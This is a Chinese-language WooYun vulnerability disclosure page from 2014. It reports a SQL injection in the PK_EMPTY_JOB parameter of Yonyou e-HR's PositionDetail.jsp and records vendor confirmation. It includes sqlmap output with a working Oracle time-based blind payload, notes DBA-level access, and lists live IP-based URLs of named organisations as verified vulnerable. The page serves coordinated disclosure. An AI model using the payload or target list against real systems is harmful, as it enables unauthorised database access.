当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-067917

漏洞标题：用友人力资源管理（e-HR）SQL注入漏洞

相关厂商：用友软件

漏洞作者： loli

提交时间：2014-07-09 21:27

修复时间：2014-10-07 21:28

公开时间：2014-10-07 21:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-09： 细节已通知厂商并且等待厂商处理中
2014-07-10： 厂商已经确认，细节仅向厂商公开
2014-07-13： 细节向第三方安全合作伙伴开放
2014-09-03： 细节向核心白帽子及相关领域专家公开
2014-09-13： 细节向普通白帽子公开
2014-09-23： 细节向实习白帽子公开
2014-10-07： 细节向公众公开

简要描述：

-----------------------------------
说点啥

详细说明：

472F3300-37DA-4FDD-AAF3-E36E8A5A52F7.png


7DD296A6-915C-4763-9C00-E0110C272A7E.png


/hrss/rm/PositionDetail.jsp文件中PK_EMPTY_JOB参数存在SQL注入漏洞


直接丢SQLMAP里跑：
http://219.140.193.253/hrss/rm/PositionDetail.jsp?PK_EMPTY_JOB=1001A11000000000G9WA&
GET parameter 'PK_EMPTY_JOB' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 114 HTTP(s) requests:
---
Place: GET
Parameter: PK_EMPTY_JOB
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: PK_EMPTY_JOB=1001A11000000000G9WA') AND 3750=DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(119)||CHR(83)||CHR(84),5) AND ('nlJx'='nlJx&
---
[16:32:22] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[16:32:22] [INFO] fetched data logged to text files under '/Users/loli/sqlmap/output/219.140.193.253'


current user is DBA:    True


YONGYOU1.png

漏洞证明：

给点URL（已验证）：

http://59.173.0.46:8090/hrss/rm/PositionDetail.jsp?PK_EMPTY_JOB=1001A11000000000G9WA&       中冶集团武汉勘察研究院有限公司
http://120.40.72.157:4001/hrss/rm/PositionDetail.jsp?PK_EMPTY_JOB=1001V110000000000O0W&       福建省石油化学工业设计院

修复方案：

麻烦厂商验证下这个版本的把。。

版权声明：转载请注明来源 loli@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-07-10 10:56

厂商回复：

非常感谢！这漏洞需要压后公开

最新状态：

暂无